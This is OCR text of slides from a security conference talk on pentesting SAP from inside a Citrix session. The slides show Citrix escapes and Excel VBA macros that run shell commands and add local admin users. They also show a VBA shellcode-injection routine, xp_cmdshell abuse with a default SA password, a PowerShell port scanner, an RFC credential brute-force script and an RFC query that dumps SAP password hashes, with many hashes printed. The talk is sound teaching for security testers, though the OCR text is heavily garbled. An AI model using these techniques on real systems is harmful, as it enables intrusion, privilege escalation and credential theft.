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Context

Firewall ports

. . connected to
Need to perform SAP pentest from Citrix  tesern
- Which means "

— No direct connection
with the SAP systems

— No admin right o= —

at the beginning of tests ;)

Firewall

Core switch

—Not allowed to install
any software

SAP Landscape
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Issues with Security tools for SAP
(iIn my case)

All dedicated SAP tools are not really maintained or updated
« Sapyto (not maintained anymore and replaced with bizploit)
 Bizsploit (replaced by Onapsis software)

* All others are not free

All SAP hacking (eg: Metasploit) tools need dependencies:
* SAP RFC SDK (not publicly available)

* Ruby,

* Python ...
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Difficulties when pentesting from a Citrix

First, when you have Citrix Receiver @)

On the road

— B
e

SAP access through
Citrix (full desktop or
published application 3%
mode), you have a |
Windows system with
SAP GUI application
and really often
Microsoft Office suite
with business object
"plugins”. B

http://news.sap.com/citrix-desktop-virtualization-application-receiver-xenserver-xenapp/

GROUP
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Difficulties when pentesting from a Citrix

When you pentest from a Citrix system:

* No direct connection to SAP systems (ICA protocol)
— So no direct TCP encapsulation possible
— Forget Kali and all famous pre-packaged tools

* Unfortunately, ICA2tcp doesn’t exist yet ( in progress ...)
— Feel free to ping @_mO00dy_and motivate him
(one beer for each tweet)
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Difficulties when pentesting from a Citrix

When you pentest from a Citrix system:

* Ruby or Python are rarely installed
*you cannot install/run Metasploit easily
— but do you really want to ?

 Natively from Windows OS:
PowerShell 2.0 October 2009

— Windows 7

— Windows Server 2008 R2
PowerShell 3.0 September 2012

— Windows 8

— Windows Server 2012
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Go-outside Citrix context:
Sharing of simple tricks

In published application mode, from SAP GUI or MS Office,
there are tons of Citrix escapes to go outside application,
reach the system and at the end run a CMD or PowerShell:
* http://archive.hack.lu/2008/snk _citrix_toolz.tgz

x|

EN Windows PowerShell — (=] &8

Windows Powerihell . ZImAN -
Copyright <{C>» 2812 Microsoft Corporation. Tous droits réservés. s ' g

PS5 CosUserssSnArkYsDocuments2> Get—ExecutionPolicy
Bypass
PE C:xUsers~SnBrk¥Y~Documents >
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http://archive.hack.lu/2008/snk_citrix_toolz.tgz

Go-outside Citrix context:
Basic escape

Ctrl + F1 (under Citrix) =» Ctrl + Alt + Del (under Windows OS)
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Go-outside Citrix context:
Basic escape

< Lock this computer
< Log off

%¢» Change a password..

F:'!I!"I['E

%% Windows Server-200s
~ Standard
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Go-outside Citrix context:
Basic escape

se of Access

Make your computer easier to use
Press the SPACEBAR to select the highlighted option.

iy [ Hear text on screen read aloud (Narrator)

= Lock this ct z . -
< Lock this computer ™ Make items on the screen larger (Magnifier)

= Log off
= [ See more contrast in colors (High Contrast)

«» Change a password...

% ¥ Type without the keyboard {On-Screen Keyboard)

W / ¥ Press keyboard shortcuts one key at a time (Sticky Keys)

%% Windows Server-200s

@ I If I press keys repeatedly, ignore extra presses (Filter Keys)

Standard ok | cancer | appy |
| =2 On-SSECRESIEEE - O] x|
EEch 2 |1&J2é 3"|4T 5(|{5_|?é 8 |9(;|Dé °)|—:|RetArr Origine | Pg préc.
T Jafz Je Jr [t Jy Ju|i Jo |p | afig] [ |me
Verr.maj|q |S |d |f |g |h |J |k || |m %, Ll*‘ — Ins Pause
(i - Jw ]x Je Jv Jo n [* ] ]/ ]y |Mei] 7 Jom]meer e
Ctrl | &= |Alt| |AItGr| B |Fn |Ctrl |<— |¢, |—> Options -
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Go-outside Citrix context:
Basic escape

Options n

I+ Use click sound
™ Tum on numeric key pad

— To use the On-Screen Keyboard:
= Click on lkeys
™ Hower over keys

Hiower duraticm:

Shiarter

1
I LlLamger
f ' i ' . ' |

1 o
= Scan through keys sesen

Scanning speed:
1
I
| . i . . . \

1 second

Faster Sloveer

To zelect a ke
= Use joystick, game pad|or other gaming device

| Uze kephoard key ISpace Bar Key 1rI

I Uee mouse clichk

About the On-Screen Keyvboard

| Ok I Cancel

— | o] = |

Ech 2 |1&J 2 & 3..|4,|5(| Origine|ngré-c.|
Tab | a | z | e | r t | y Fin | Pg suiv. |
Verr. maj| q | s | d | f | g | Ins Pause |
Maij | |w |x |c [v |b Imp. Arcet ag |
| Alt | Options |

Ctrl | =z
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Go-outside Citrix context:
Basic escape

he computer without a mous = I = I o

. -
"\._/'I "\._) @ - Ease of Access = Ease of Access Centell - | Use the computer without a mouse or keyboard - m I Search Control Panel E

Use the computer without a mouse or keyboard
When you select these settings, they will automatically start each tirme you log on.

Type using a pointing device ¥ Use click sound
™ Tum on numeric key pad

— To use the On-Screen Keyboard:

[+ Use On-Screen Keyboard

Type using the mouse or another pointing device such as a joystick by selecti & Click on |
a keyboard.
&~ Howver over keys
Aoroid using the mouse and keyboard Hiowern duratior:
1
Speak into a microphone to control the computer, open programs, and dictate &t Shiarter A Larmaer
Use Speech Recognition ' 1 d '
& Scan through keys sEeen
See also Seanning speed:
1
Learn about additional assistive technologies online Faster, I Slower,

] ' i ' . . 9
1l zecond
To zelect a kew

¥ Wse jopstick, game pad|an other gaming device

¥ Wse keyboard ke ISpac:e Bar Key vI

I Uze mouse click

About the On-Screen Kevboard

oK | Cancel | sppiy |
P = -
Ech 2 |1&J2,|3,,|4,|5(|6_|?é|8 |9§|Oé|°)|+:|RetArr |Origine|ngréc|
Teb  Ja fz Je |r Jt Jy Ju |i Jo P | Al*s| Fin __J/Posu |
vermaia s @ Jf Jo [n i Jk T Jm [F]v.] " | | rausel]l,
Ve = Jw x e v o I [ T 7oy M7 o] e |||
Ctrl |-'-' |Alt| |A|tGr|EI |Fn |Ctrl |<— |4f |—> |Options|Aide |_
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Go-outside Citrix context:
Basic escape

U
ﬁ:_}@v ﬁll = Ease of Access = Ease of Access Center = Use the computer without 2 mouse or keyboard - £33 I Search Control Panel !’ﬂ
- @ Control Panel
N Desktop uter without 2 mouse or keyboard
) ect these settings, they will autematically start each time you log on.
= Libraries
g pointing device
M Computer n-5creen Keyboard
@ Eaunp e using the mouse or another pointing device such as a joystick by selecting keys from a picture of
© Recycle Bin poard.
1 he mouse and keyboard

Speak intoc a microphone to control the computer, open programs, and dictate text.

Use Speech Recognition

See also

Learn about additional assistive technologies online

QK Cancel Aprply
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Go-outside Citrix context:

File / Drives access

The "\\client” request gives access to the client’s local
Hard drive.

* [t allows you to copy your tools

« Copy&Paste works also

Look in: | 5 ICA-top#16 [Cliert] =l & ¥ M-

YHIMOR D
oo o

GROUP

b M -Iar‘ ork, i g ket =]
e i = ance|
venke-prives g Univ Files af | ty._:e; |Temlnmument$ = tt) iI| _ Cancel | AIRBUS



Go-outside Citrix context:
MS Office Happy hacker

Office iIs a powerfull tool not only for document creation , with
macro you can :

« Create network socket

« Execute system commands

* Import binaries files or code

And natively, you can :
* Perform SQL queries
Privileges Escalation (in some case)
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Go-outside Citrix context:
MS Office Happy hacker: Map attack surface of SAP

Credits to Patrik Karlsson - Cqure.net

H ©- 5 hedgehogl [Mode de compatibilité] - Excel
awfi:@ ACCUEL  INSERTION  MISEENPAGE  FORMULES  DONNEES  REVISION  AFFICHAGE

ol —
Dg‘é Arial 0 A A T=E= - %REHVD}TEFHE ligne automatiquement | 5tandard
Coller " 6 I §- H+ H-A- === & 3= E Fusionneret centrer - 2. 0p o %) 4
Presse-pap.. T Police I Alignement P MNombre la
A B C D E F G H J K L
1
2 Range 10 50000
3 |Host 192 168.1.1
4 |Timeout 100 | .|
5 |Parallell 30 GOl
b
7
g
9
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Go-outside Citrix context:
MS Office Happy hacker: Map attack surface of SAP

E31 M fl
A B C D E F
1
Z Range 10 8000
3 |Host 172.16.141.12 A B
4 |Timeout 100
5 Parallel 30 co 1 22 Open
6 : 2 25 Open
L 3 111 Open
1 427 Open
2 631 Open
) 1128 Open
7| 3300 Open SAP Gateway
3 3600 Open
3 3900 Open
l[}l 8000 Open Internet Communication
1 Manager (ICM) HTTP
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Go

-outside Citrix context:

MS Office Happy hacker: Get a shell, a PowerShell

-al Microsoft Visual Basic - SNKhf.xds - [Module? (Code]]

%E\ch\er Edition  Affichage Insertion

& - #
x|
= M=l T -
= E ¥BAProject {SNKbf.xls)
=55 Microsoft Excel Objsts
Sheetz {Config)
5] Thisworkbook
=25 Modules
% Modulel
& Modulez

x|
Sheetz workshest hd
Alphabétique ] Par catégorie |

lane) _ EEe R
DisplayPageBreak False
DisplayRight TaLef False
EnableAutoFiler  False
EnableCalculation True
EnableFormatCon True
EnableCutlining  False
EnablePivotTable False
Enableselection 0 - xINoRestricti

Mame Config
Scrollarea

Standardwidth 8,43

isible: -1 - ¥ISheetVisib

Format Débogage Exécution

Qutils  Compléments Fenétre 7 Tapez une question - .8 X
pou @ B2 B AW | @ L1 con =
‘[Général) j ‘cmd j
Sub crmdi() S
DIim Result As String
DIim Hame As String
Dim mycmd As String E (-.J - :
wyewd = Sheetz.Cells(z, 10) pley)iie  ACCUEIL INSERTION MISE EN PAGE FORMULES DOMNNEES REVISIOM AFFICHAGE
'Mame = "Zhell command result” o x
'Sheets.idd , Sheets|Sheets.Count) faps] . - = — 0 = . . .
| Sheets (Sheets.Count] . Neme — Here ﬁ B Arial 110 -~ A A == ¥ =# Renvoyer 3 la ligne automatiquement
E@ -
:Shell (:c:cummand.com Jo conmand™) . CD”EI’ G I S . = = = J— o .
Shell ("ewd.exe /o net user snk snkiz3! fadd ™) v = = = = = usionner et centrer

-
Shell (mycrd)

iy demarrer

vente-priveeg UniverShell;/#

Presse-pap... fa Police I Alignement I
'Sheets (Sheets.Count) .Cells(l6, 2) = Result
MsgBox "Done!, command executed rﬂl‘i M .f-r
e A A B c D E F G H
1
. @Windows PowerShell EI@
kIR indows PowerShell
4 Copyright ¢(C> 2812 Microsoft Corporation. Tous droits réservés.
LEIEPrs C:\lUsers\SnBrkY\Documents> Get-ExecutionPolicy
FRIREypass
; PS C:\Userss\SnBrkY\Documents> _
8
9
10
1
12
13
14
15
16
17
18

STAACK

Ethical Hacking | CTF 8. Conférences

Standard

B2 op om0 50 00 Mise en forme Mettre sous forme
"7 conditionneller  detableau -
Nombre [ Style
| J K L M
Command  powershell -ExecutionPolicy bypass

GO!

Exemple Command

notepad c:\result txt

net user test test123! fadd
attrib_exe c:* (liste les fichiers)
tree.com (liste les repertoires)
telnet

powershell -ExecutionPalicy bypass
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Go-outside Citrix context:

MS Office Happy hacker: Get a shell, a PowerShell

1p %172.16.141.12"

‘.II

1

3 $range = 20..8000

4

5 foreach (5r in Srange)

(_:

7 Bf

8

B Sport Sr
10

11 if(Test-Connection -BufferSize 32 -Count 1 -Quiet -ComputerName $ip)
12
13 = {

4 {ErrorActionPreference="Ignore"
15 = Try {
16
17 $socket new-object System.Net.Sockets.TcpClient(Sip, %port)
18 “$ip listening to port Sport”
19 $socket.Close()

20 ¥

21 [ Catch {

}

24 }

25 }

Z :\HACKING\Hacking_Tools\SAP\Power SAP\public\powersap\Standalone\soap> C:\
172.16.141.12 listening to port 22
172.16.141.12 listening to port 25

172.16.141.12 listening to port 111
172.16.141.12 listening to port 427
172.16.141.12 listening to port 631
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Go-outside Citrix context:
MS Office Happy hacker: Import files, binaries or DLL

Option Explicit

FPrivate Declare Function Virtualilloco Lilbh "EERMELIZ™ [(EvWal lpiddress A= Long, BvwWwal
Priwatce Declare Function WriteProcessMemory Likbh "EERMNELSZ™ [(BEvWal hProcess Ls Long, B
FPriwvate Declare Function CreateThread Likbh "EERMELIZ™ [(BEvval lpThreadittrilbutes L= Lo

Const MEM COMMIT = &£H1000
Const PAGE EXECUTE EREADWRITE = &£H40

Di l1pMerwory L= Long
Dim =53hellCode A= String
IDim 1lResult A= Long

=Shellcode = Chr (£HES) + Chr (£HO) + Chr (£HO)] + Chr (£HO) + Chr (£HO] + Chr [(£HSE)

Priwatce Sulh ExecutefhellCaodes () f

=ShellCode = =3hellcCode + Chr(£HO) + Chr (€HG6S)] + Chr (£HSS) + Chr (£HSF) + Chri&HSj
ZShellCode = =ShellCode + Chr (£HES)] + Chr (£HO) + Chr (&HO) + Chr (£HO) + Chr (&HO) ﬁ’i
sShellCode = =sShellCode + Chr ([ £HSB) + wiHFF)] + Chr [(£H36
sShellcCode = =3hellcode + Chr (HO) + alEONT RNt 3 Tt lend [ E%],] + Chr (sHEGS) ]
2ShellCode = =ShellCode + Chr (£H3IO) + 0] + Chr [&HSS)
sShellCode = =ShellCode + Chr(sHS7) «+ || Helefrominjected shellcode! SHEL] + Chr (£H
=ShellCode = =3hellcCode + Chr (£H3C) + HSE)] + Chr ( <HS
2ShellCode = =ShellCode + Chr (£HC3) + £HSS)] + Chr (&H
sShellCode = =sShellCode + Chr (£H11)] + £H4) + Chr (<HO)
=ShellCode = =3hellCode + Chr (£HC1) + Chr (€HEZ) + Chr (€HZ) + Chr (£H1] + Chr {&HD1)
2ShellCode = =ShellCode + Chr (£HC9)] + Chr (&H31) + Chr (&HDE) + Chr (&H31)] + Chr [ sHDZ
SShellCode = =ShellCode + Chr (£HEO)] + Chr (£HEE)] + Chr (€H31) + Chr (&HCO)] + Chriﬁﬂiﬂ’
=ShellCode = =3hellCode + Chr (£HO) + Chr (€HO) + Chr(£HO) + Chr (€HO)] + Chr (€HO) + .
SShellCode = =ShellCode + Chr (£HZ0) + Chr (&H73) + Chr (&HG6S) + Chr (&HE5] + Chr [ 8HEC
lpMemory = Wirtualslloec (0&, Len(sShellcode), MEM COMMIT, PAGE EXECUTE READWRITE)
lRe=zult = WriteProcezzsMemorv(—1&, lpMemory, =3hellCode, Leni(sZhellCode), 0O£) {
l1Result = CreateThreadi(0&s, 0&, lpMemory, 0O0&, 0L, OL)

End Suk -

https://blog.didierstevens.com/2008/10/23/excel-exercises-in-style/

Gen_macro.py or Didier Stevens tools
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Go-outside Citrix context:
MS Office Happy hacker: SQL queries

SQL queries can be performed from Excel
* For MS-SQL, could be used to take advantage of the "SA”
account default password:
— if there is XP_cmdshell procedure , you know what to do ©
 For Oracle Native SQL queries
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Go-outside Citrix context:
MS Office Happy hacker: SQL queries

Créer une nouvelle source de données - 2 x|

Dannez un nom & la nowvelle source de données

1, |1n.125.3.a

Sélectionnez un lype de base de données
2 ISE!L Gerver j

Cliquez sur Connexion, puis tapez les informations requises par le lectewr

.................................

.................................

5elechionnez une table pan defaut pour |3 source de dormees [faculkati]
4 7]

I Erveqistrer [identité et le mot de passe de [utfisateur

@ (K | Arler |

vente- prlveeg UniverShell;/# 5'|.F|HCR
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S50L Server Login El

Server: |10.125.38 | oK

[ Use Trusted Connection Cancel

Login (D Isa Help

Pazzward: | Dptiong »»

21x
Instruction SOL ; 0K
exec xp_cmdshell 'MET USER testwsod password PADD! ;I
BAnnLler
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Go-outside Citrix context:
MS Office Happy hacker: SAP client in VBA

It seems possible with some activeX

TBeEIN 4 & [ 8 c D E ; 6 H | ) K L M N 0

Directives 1 MANDT  CARRD  CONNID FLDATE  PRICE  CURRENCY PLANETYPE SEATSMAX SEATSOCC PAYMENTSU SEATSMAX_ESEATSOCC BSEATSMAX fSEATSOCC FZZ MEAL
Option Explicit 2 1A 555 20160916 837,33 EUR A319 0 190 21063031 n 16 10 7
. 3 1A 555 20160917 837,33 EUR A319 2 183 204099,25 b)) 16 10 7
CE;::E';E;UT_COHSOLE . 4 1A 555 20160918 837,33 EUR A319 20 01 22465552 2 18 10 7
Const OUTPUT WINDOW - 1 5 1A 555 20160919 837,33 EUR A319 2 176 203345,53 n 17 10 7
Const OUTPUT_BUFFER - 2 6 1A 555 20160920 837,33 EUR A319 20 181 19961936 yy) 14 10 7
ub PomerShetl 7 1A 555 20160921 837,33 EUR A319 2 176 200666,06 n 15 10 8
e gA———— 8 1A 555 20160922 837,33 EUR A319 220 190 21540311 2 16 10 8
9 1A2 555 20160923 837,33 EUR A319 b1 170 18944593 b)) 15 10 6
FUAIEDIEE= == s e s s s s s s s s s e s s s s s s s s ss s s s sssssssss s s 10 1M 555 20160924 837,33 EUR A319 20 01 2187943 2 1 10 7
g:: :?n::‘:“;;‘:::ssm TActivexPosH 11 1A 555 20160925 837,33 EUR A319 2 183 20154533 n 15 10 7
1 1A 555 20160926 837,33 EUR A319 20 10 10006,08 py) 1 10 0
Set PS = CreateObject("SAPIEN.ActiveXPoSHV3 13 1A 555 20160927 837,33 EUR A319 2 5 380985 b)) 0 10 0
”E“‘_’: f;';"’:*“ IR D= 1 1A 555 20160928 837,233 EUR A319 20 0 97%,% 2 1 10 0
Endx}f ! 15 1A 555 20160929 837,33 EUR A319 2 5 376798 py) 0 10 0
16 1A 555 20160930 837,33 EUR A319 20 12 11358 py) 1 10 0
oF 5.t (lralee < i 7 1M 788 20160831  2260,38 EUR DC-10-10 380 220 1010050,12 4 ) 18 jE]
Ens"}; sub 18 1A 788 20160901 188365 EUR DC-10-10 380 260 745455,11 4 3 18 14
19 1A 788 20160902 188365 EUR DC-10-10 380 255 710607,39 4 3 18 12
If Not PS.IsPowerShelllnstalled Then 20 1A 788 20160903 183,65 EUR DC-10-10 380 258 72416969 4 2 18 14
Ens"}; 2ub A 1A 788 20160904 188365 EUR DC-10-10 380 26 78218605 4 20 18 13
n 1A 788 20160305 188365 EUR DC-10-10 380 M 7580755 4 11 18 14
PS QutputWidth - 132 2 1A 788 20160906 183,65 EUR DC-10-10 380 283 777006,17 4 U 18 n

P5. OutputMode OUTPUT_BUFFER

More information here:
https://blogs.sap.com/2017/02/09/how-to-use-dotnet-connector-nco-inside-vba/
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Basis of my approach

On Citrix | can :
« Obtain a PowerShell prompt

* Import files

* Now, how can I run some tests automatically on SAP ?
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Basis of my approach
Reach SAP RFC with .Net connector

From PowerShell the simple way to reach SAP RFC without
Installing anything:
just drop and load sapnco.dll & sapnco_utils.dll

Function In ke-SLDF Modnl e—————
Fonction Invoke-5SAFPF nModule {
-Loads WCo libraries-------——————---—————————————————
§rc = [Reflection.Assembly]::LoadFile("C:\Program Files (x86)%\5AF\5AP DotHetConnector3 x64‘\sapnco.dll™)
§rc = [Reflection.hssembly]::LoadFile("C:“PFrogram Files (x86)\SAP\SAP DotNetConnector3 xé4‘sapnco_utils.dll™)

#-5ets connection parameterS-—————————————————

ScfgParams = MNew-ObJject SAFP.Middleware.Connector.RfcConfigParameters
ScfgParams . Ldd ("HLME", "TEST")

ScfgParams . Add ("ASHCOST", "H.XK.X.H™)

ScfgParams . &dd ("SYSHRT, "O00")

ScfgParams . Add ("CLIENT™, "001"})

ScfgParams.&dd ("USER"™, "SLRE=T)

ScfgParams.Add ("FRSSWD", "MasterECCE™)
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Basis of my approach
Reach SAP RFC with .Net connector

NCo can be downloaded from the support Web site:
https://websmp201.sap-ag.de/public/connectors
http://service.sap.com/connectors

You need to sign in with your SAP Service account.
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http://service.sap.com/connectors

Basis of my approach
Reach SAP RFC with .Net connector

S Windows PowerShell ISE
FEichier Moedifier Afficher Ouwutils Déboguer Composants additionnels Aide

S = H P N P B B w & | [B oo & [

Get-NCoVersion.psl 3

g | FVersion
& SAP.Middleware.Connector . SAPConnector Info get_WVersion()
7 fPatchLewvel
SAP.r-‘:i ddleware.Connector. S&APConnectorInfo get_KernelPatchLewvel ()

AT T e o e
saAFRElea=e

SAP.Middleware.Connector . SAPConnector Info get_SAPRelease()

# Shows the result
Write-Host " "r nNCo Version:" Ve
Write-Host "Patch Lewel:" %PatchlLew
Write-Host "SAP Release:" i54PRe]

2

2

2

28
29
30
31
32
33
34
35
36

P5 C:%UserssSnirky' Desktopy powersapyStandal one> C:%\UsershsnirkYDesktoph power saph 5tandalone’ Get-NCoVersion. psl

NCo Version: 3.0.13.0
Patch Lewvel: 525
SAF Release: 720

P5 C:%Users'Snirkyh Desktopy powersapy Standal onex
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Basis of my approach
Reach SAP RFC with .Net connector

Then it's really easy to call SAP Function module via RFC.

£

-

[SAP.Middleware.Connector. IRfcFunction] §rfoFuonction =
$destinaticn.Repositnry.CreatEFunctiDnﬂ"EEZFEEEI_ERZEE"}

f-SetE ImMpOrT PEFaAmME L — ——mmmm

[BAF.Middleware.Connector.IRfcTable] $Input =
SrfcFuanction.GetTable ("INETT™)
SInpnt.Lippend()

$Input.SectValue ("FE NRME", "/5DF/RBE WATSQL SELECI"

[B4AF.Middleware.Connector.IRfcTable] $Params = 5Input.GetValue ("FLELMETERS"™)
SParams=.Lppend()

SParam=.SetValue ("PLRELM™, "MLX ROWS™)

SParams=.SetcValue ("VLALUE", “99?:}

SParams.Lppend()

$Params.SetValue ("FLAERM", "SQL TEXI")

S$Param=.SetValue ("VALUE"™, "SELECT ENAME, BCODE FROM TUSROZ"™™)
#-Calls function module———————————"—"""""""—""—"\—"—"\—"—"\—"—(—~—(—(—(—(—(—(—————————

frfcFunction.Invoke (5destination)
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From now on, all credits to

Onapsis - (@marianonunezdc, @jsansec) ...
ERPScan — Dmitry Chastuhin (@ _chipik)
ERPSEC - Joris van De Vis (@)jvis)

Chris John Riley (@ChrisJohnRiley)

Dave Hartley (@nmonkee)

Martin Gallo (@MartinGalloAr)

My script Is a simple powershell re-implementation of popular
& effective techniques of all public tools *such as* Bizploit,
Metasploit auxiliaries, or python scripts available on Internet.
There is no new vulnerabillity or undisclosed vulnerabllity as

part of this aggregation.
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Simple SAP_SYSTEM INFO example

<2 Whndowes PouwerShell TSE
File Edit View Tools Debug Add-ons Help

& B 4 B » [ 1!;'5";——“-5*—5

InvokeFunction-RFC-SYSTEM-INFC.ps1l X
fdestination. Repository.CreateFunction{"RFC_SYSTEM_INFO")

] T W1

#-Calls function module-------———------------o i i s o

3 frfcFunction. Invoke(fdestination)

9

0 FExport SrfcFunction. GetStructure("RFCSI_EXPORT™)

1

2 #-Shows export parameters------——---—cmmmmmmm e
3 Write-Host fEwxport.GetValue( "RFCHOST™)

4

5 T

6

7 #-Main------——--—— - e

Invoke-SAPFunctionModule

B LA LA LA LA LA LA LA LA LA LA P P P P

|l Y e <

P5 C:%PowerSsAP= C:%Power5AP InvokeFunction-RFC-5YSTEM-INFD. ps1
labsapEC

P5 C:%PowerSAP=

vente-priveeg UniverShell;/# 5THHQR AIRBUS
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Simple RFC bruteforce attack

= 8 F-vartant 1: Call fTwuwnmnctron module———————-—-—-———rmr - —r————— e ——_———— —
55 FErrorActionPreference="ITgnore"

56 = Try {

o7 grfcFunction. Invoke( f$destination)

28 Write—-Host " r n=s=== SUW_LCESS ==="r"n"

2GS Write—-Host "REFC_PIMNG swuccesstul”

&0 Write—-Host fusername Spassword Sclient

61 T

s ] =4 — r

PSS Cz%Power SARPS publadch power=ap™s Standalonebh.rfc- (WInwvoke—-RFC_bruteforce. ps1l
cmd et BF at command papeline position 1

Supply walues fTor the following parameters:

targetinput: 1F7Z2.16.141.312

tryw BAgadn

tryww again

SWWCESS

_PIMG =successtul
AP MasterbBCCE OO0

SWWCESS

IMG =successTtul
I ADMIN Ocr

RAC_PING =uccesstul
SAaPrCPIC ADMINMN OO

PS5 C =% Power SAP publach power=saph Standal ones rifos-
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Interesting remote RFC FM GEN_PROXY to
call local RFC FM RBE_NATSQL SELECT

Credits to Joris van De Vis (@jvis).

3 Wifindows PowerShell TSE = e[
File Edit | View | Tocls Debug Add-cns Help
e d £ & 8B » b B s &5 B O30 @B B
| InvokeFunction-RFC-SYSTEM-INFO.psl | InvokeFunction-TESTSMEK.psl X &
28 ' | ’ ’ :
29 #-5ets import parameter---——-—--—---mmm o
30 SAP.Middleware.Connector. IRfcTable] $Input
31 frfcFunction. GetTable("INPUT™)
32 $Input. Append()
33 fInput. SetValue("FE_NAME", " /SDF/REE_MNATSQL_SELECT™)
34
35 #-Here GetValue instead GetTable |
36 SAP.Middleware.Connector. IRfcTable] $Params SInput.Getvalue( "PARAMETERS") 3
37 fParams. Append ()
38 fParams. SetWValue("PARAM™ | "MAX_ROWS")
39 fParams. SetvValue("VALUE"™, "999")
40 fParams. Append ()
a1 fParams. setvalue("PARAM™ ., "SQL_TEXT™)
42 fParams. SetvValue("VALUE", "SELECT BNAME, BCODE FROM USRD2™)
43
44 N

MILES, 8220CEQF77DCO96A, < /1tem=<1tem=-BMILL TONS, FBBCEOD4325601EC , < /1 tem><item=BMOT TOLA,5268A85073423E1 3, </1tem><1tem=-BMTEST , 3F7 787 884CE3
FE32,</1tem><item=-BMTESTC , 8FA9S0F693ADEDOF , <,/ 1 tems<1 tem=BMURPHY ,CECAFAD26E9261DF , </ 1 tem>«<item=BMUSER , 8A4 31 8ED054AEF5 6, /1 tem= <1 tem=EMU
TH,5600B014ECBESF2C , </ 1tem<1tem-ENICHIPORUK,, 3AAOACSC2IATIR3C, </ 1tem=-1tem=-B0OEI-CONNECT , DFOFEC DDODS 8B4F5 , </1 tem><1tem=BOCKW, 2B7EAABL1E2
EDB-MCI z/1tems=<1 tem: -EO DE, 204 FOSB4B9EFBFFA, "1ter|1:u\:1 tam-BﬂEKﬁMP , F1B6FAD3B3E566BF , </1 tem=-<1tem>=BOGNERG , 1F11AFOFCFAF302C , < /1 tem =1 tem=B0H
ATY, BE"EO; 112B4230CE , </ 1tems<1tem=BOHLE 115 3334644AZE98A , <1 tems=<1 tem=BOHND, 36DABSID8 S4A1DD34 , </ 1 tem=<1tem=-BOHNSTEDT , 7F29E029655F60E3 , <
£ tem:-- 1 tem=CHEMLOPM , CA0C4B6IEB 306008 , </ 1tem=<1tem-CHEMUSER , B394 9F0AG5DD3951F , < /1 tem><item~-CHEMUSERL , A4 8860567 EB2BACF , </ 1 tem=--1tem: -LHEN
,01F86BCOBE3E 94BD,-\:,.H tan::-a:'item::-CHG_AF‘PROVER . FOZAM?BBQE:.“G?EF </ 1tem=<1tem=-CHOIDIR,511485DB64AB73CT, -c:j'i tem=~1tem=CHOIEMP , 7F2D7 26ECTCGFB
9E, </ 1tem-<1tem=CHOIM , 68962 D7 ABAAC267C , </ 1tem-<1tem=CHOIMGR , 06998CB3ES9E1DL 3 , < /1 tem><item~CHOIR , E94AF7 BDFOL071CS , < /1 tem:= -7 tem=CHOMAN , C
334E1BBE1AAS43E, </ 1tem=«1item-CHREBOETTCHER , 123F843902A6B9F1 , </1tem=<1tem~CHRISTOPHE , 7A914665C7 650081, < /1 temn tem=-CHUNGD , FES/SFEBD32418
C4, </ 1tem-<1 tem=CHUNT , 31FE4C17CED3 ZEEE,-:;ﬁtem:u 1 tem: -CHUNTER FACFDC201CDOZACT , < /1 ten1:~<1tem:-CHURD 1T 122C8036E3; E6,</1tem=1tem=CHYTILS,
D7 890024DA38B5 80, </ 1 tem=<item=CH_ADMI ,AC21703957627507 , « ,“'1tem 1 tem-CH_DEMO ,CEBBFE112E214357, -:,1’1 tem-<i terrl:-CH_EMPLDYEE 1EFDEES 020044 E41_
. -.::,,“"l'tem::-('item::-(H_M.ﬁNAGER , DDF2B5 6E49E0210B6, < /1t em=<i tem:-CH_F‘ﬂ‘l"RDLL ,B52451EATFFCI5ES, </ 1tem=<i tem=CH_TRAVEL ,00E7467ED433BC14 , </1tem=<ite
m=CIC ,1054305173699440, </ 1tem><1tem~-CIDXALL ,F57F8498E70DC238, «/1tem=<1tem>WORSCH, 365 4A3CBEGDE4 830, </ 1tem=<1 tem~WUEST ,CE0A4 803924945 6D,
</ tem-<item=ALBERIGHT,, 91AEO85B0EEZ49AE , </ 1 tem-<1 tem=AL BRIGHTK , B35DF30099504 205 , </ 1tem-<1 tem=-BACKT , FD5 FAS9A144CFDCO 1tem=<item-BAESSL
ER,D925156348A45544 , </ 1tem=<1tem-BARTON , 69D9ARA46B468CE4 | </ 1 tem=-<1 tem: =BATIPPSE, DFEF2D1DEBFB5935 , .-"1tem »<1tem=BAUERC , B4 82E21AG4A9ER16, <
Fal tem:-- 1tem=BERNIE, _-BC2F2C[DC4C B87Ad, </ tem »<1tem=BOLLINGER ,, 6AICE36349A8FEF2 , </ 1 tem: -f1tem:-BRGDKDRB O1BEEE932F2E440D 1tem=<item: -BURHAN
M, 75FAAGAEICI2E20DS, < _ B5BEC3E19A70B4C 1tem=<item-D020134 ,19EE6FACTBCH1IEDD, </ 1tem-<1tem-D020904 , EECO53A232750F5

1tem=<1tem-D021129, l?BAd-EDBDlBCB?EI] s <1 tem=<1tem=DAVISC , A2035983DF57ADES, -c:f'item::q:'item:-DDI[ - ZGCE? 95EEEFBT 2A9 , <,/ 1tem=«<1tem=-DERN, F696 '
6ASFO60CE34D, </ 1 tem=1 tem>DDOBEROWOLSKT , BE2F3A8465721BA4 , </1tem><item-EISELEH, BFFABSB5B37F29A85 , </1tem=<item-ELINOR , 6DD3ABCIF4831D7C, </it BUS
em: -~'1ter|1:.v-FI..£HERCH CAC2CT7SFEFACATAZ 4:,-"1 tem: -f1tem:-GEHRINGH A66AF23485CAEBA3D, -u:_h tem-<1tem=-GIMBEL , 5060F 98D360D1FCE , <1 tem-<1item-GOEBEL , ,F3

1tem><item=-AGODINHD , ECCES00504D10D89 , < /1 tem =<1 tem>AGRAGG , F35CEF90D351DCER 1tem=<item=AHATDER ,1B587BDCF&61EB00 , <

=~ £ em>=AHARTZ ELL ECAABCFO48186DA1 , </ 1tem--1tem=-AHASTMAN , AFF2ZE4D441778DD2 , </ 1tem-«1tem-AHIL DEBRAND 9860B036COC4A 9B , </ 1tems=<item:




SAP Management Console SOAP Interface

Credits Chris John Riley (@ChrisJohnRiley).

B Windouws Powershell == B Windows PowerShell

-NGetEnu.xml

oap? sInvoke—nmgmt
i UTF:

on—soap.psl
i

pe xnlns:SOAP-ENU

http://schenas . x
w3 .org/2801 /EMLSchema—instanc

wrn :SAPControl”

http: 7 zchemas . xmlzoa Pg/ﬁnap/enuelnpe/" x
soap.orgssoapsencodin mlns:ixsi ttp:ss
xmlns:ixs http:/Zw.uwl. DPg/ZBBl/HHLSchema

K7xml versio
<{SOAP-ENU :Envelope xmlns http //achenau.xmlgnap.urg/goap/enuelope/
mlns : 80AP-ENC="http: //dchemad.xmlduap orgssoapsencoding/" xmlns:xsi="ht
.w3.org/2001 -EMLEchema—instance' xmlns:xsd="http:/ s uwww.uwd.org 2001 -EMLEchena" x
